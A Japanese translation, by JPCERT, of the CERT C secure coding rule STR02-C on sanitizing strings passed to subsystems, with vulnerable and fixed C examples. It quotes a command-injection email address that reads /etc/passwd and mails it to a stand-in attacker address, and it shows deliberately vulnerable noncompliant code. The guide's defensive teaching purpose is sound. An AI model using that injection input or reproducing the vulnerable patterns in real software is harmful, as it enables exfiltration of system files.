JPCERT コーディネーションセンター

STR02-C. 複雑なサブシステムに渡すデータは無害化する

複雑なサブシステムに渡される文字列データには特殊文字を使用することができるが、この特殊文字はコマンドまたはアクションを引き起こし、ソフトウェアの脆弱性を招く可能性がある。そのため、文字列が解釈されるコンテキストにおいて無害となるように、複雑なサブシステムに渡されるすべての文字列データを無害化する必要がある。

複雑なサブシステムの例を以下に示す。

違反コード

データの無害化を行うには、渡されるデータとサブシステムの機能について理解する必要がある。John Viega と Matt Messier は、電子メールのアドレスをバッファに入力してこの文字列を system() の呼び出しのための引数として使用するアプリケーションの例を示している。

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

当然、ユーザが次の文字列を電子メールのアドレスとして入力することにはリスクがある。

bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

system() の呼び出しについての詳細は、「ENV03-C. 外部プログラムを呼び出す際は環境を無害化する」と「ENV04-C. コマンドプロセッサが必要ない場合は system() を呼び出さない」を参照すること。

適合コード

有効なデータは受け入れられ、危険を及ぼす可能性のあるデータは排除または無害化されるようにする必要がある。こうすることは、有効な文字または文字列がサブシステムに対して特別な意味を持っている場合は難しいこともあり、文法に照らしてデータを検証しなければならないこともある。重複がない場合、データから危険な文字を削除するためにホワイトリストを使用することができる。

データの無害化のためのホワイトリストアプローチでは、使用可能な文字のリストを定義し、使用不能な文字を除外する。有効な入力値のリストは通常、予測可能で管理可能な、正しく定義された一連のサイズである。Wietse Wenema によって記述された tcp_wrappers パッケージに基づくこの例では、ホワイトリストアプローチを示す。

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                         "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* カーソルを文字列に合わせる */
const char *end = user_data + strlen( user_data);
for (cp += strspn(cp, ok_chars); cp != end; cp += strspn(cp, ok_chars)) {
  *cp = '_';
}

ホワイトリストの利点は、文字列にプログラマが安全と考える文字のみが含まれるようにできることである。ホワイトリストではプログラマが使用可能な文字のみを特定すればよいため、使用不能なすべての文字をトラップするブラックリストよりも推奨できる。これにより、プログラマは、攻撃者がセキュリティチェックを迂回するために使用する文字に対して払う注意を軽減することができる。

違反コード

以下のコード例は [VU#881872] から抜粋したもので、リモートの攻撃者が特権によりシステムにログオンすることを許可する Sun Solaris TELNET デーモン(in.telnetd)の脆弱性を示したものである。

in.telnetd の脆弱性のため、execl() の呼び出しにより login プログラムが呼び出される。呼び出し時に、login プログラムへの引数として、信頼できない情報源(USER 環境変数)から無害化されていないデータが渡される。

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")),
  0);

この場合、攻撃者は USER 環境変数を文字列に設定することにより(これは login プログラムによる追加のコマンドラインオプションと解釈される)、システムへの認証されていないアクセスが可能になってしまう。このような攻撃を引数インジェクションと呼ぶ。

適合コード

以下の適合コードでは、execl() の呼び出し内で getenv("USER") を呼び出す前に引数 "--" を挿入する。

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  "--",
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")), 0);

login プログラムではコマンドラインの引数の解析のためにPOSIX getopt() 関数が使用され、"--" (ダブルダッシュ)オプションが出現すると getopt() の引数リストでのオプションの解釈が停止するため、攻撃者は USER 変数を使用して追加のコマンドラインオプションを組み込むことができない。対象となる文字列の解釈の動作は無害となるため、これはこのコンテキストで信頼できないユーザデータを無害化するための有効な方法といえる。

execl() の呼び出しではシェルコマンドインタプリタが呼び出されないため、コマンドインジェクションは発生しない(ENV04-C. 「コマンドプロセッサが必要ない場合は system() を呼び出さない」を参照)。

リスク評価

複雑なサブシステムに渡されたデータを無害化できないと、インジェクション攻撃、データの完全性の問題、機密情報の消失につながる可能性がある。

レコメンデーション

深刻度

可能性

修正コスト

優先度

レベル

STR02-C

P18

L1

自動検出

ツール

バージョン

チェッカー

説明

Coverity 6.5 TAINTED_STRING 実装済み

Fortify SCA

5.0

 

 

Klocwork

V. 9.1

NNTS.TAINTED SV.TAINTED.INJECTION

 

関連するガイドライン
CERT C++ Secure Coding Standard STR02-CPP. Sanitize data passed to complex subsystems
CERT Oracle Secure Coding Standard for Java IDS00-J. Sanitize untrusted data passed across a trust boundary
MITRE CWE CWE-88, Argument injection or modification
CWE-78, Failure to sanitize data into an OS command (aka "OS command injection")
参考資料
[ISO/IEC 9899:2011] Section 7.22.4.8, "The System Function"
[Viega 2003]  
翻訳元

これは以下のページを翻訳したものです。

STR02-C. Sanitize data passed to complex subsystems (revision 93)

Top へ

Topへ
最新情報(RSSメーリングリストTwitter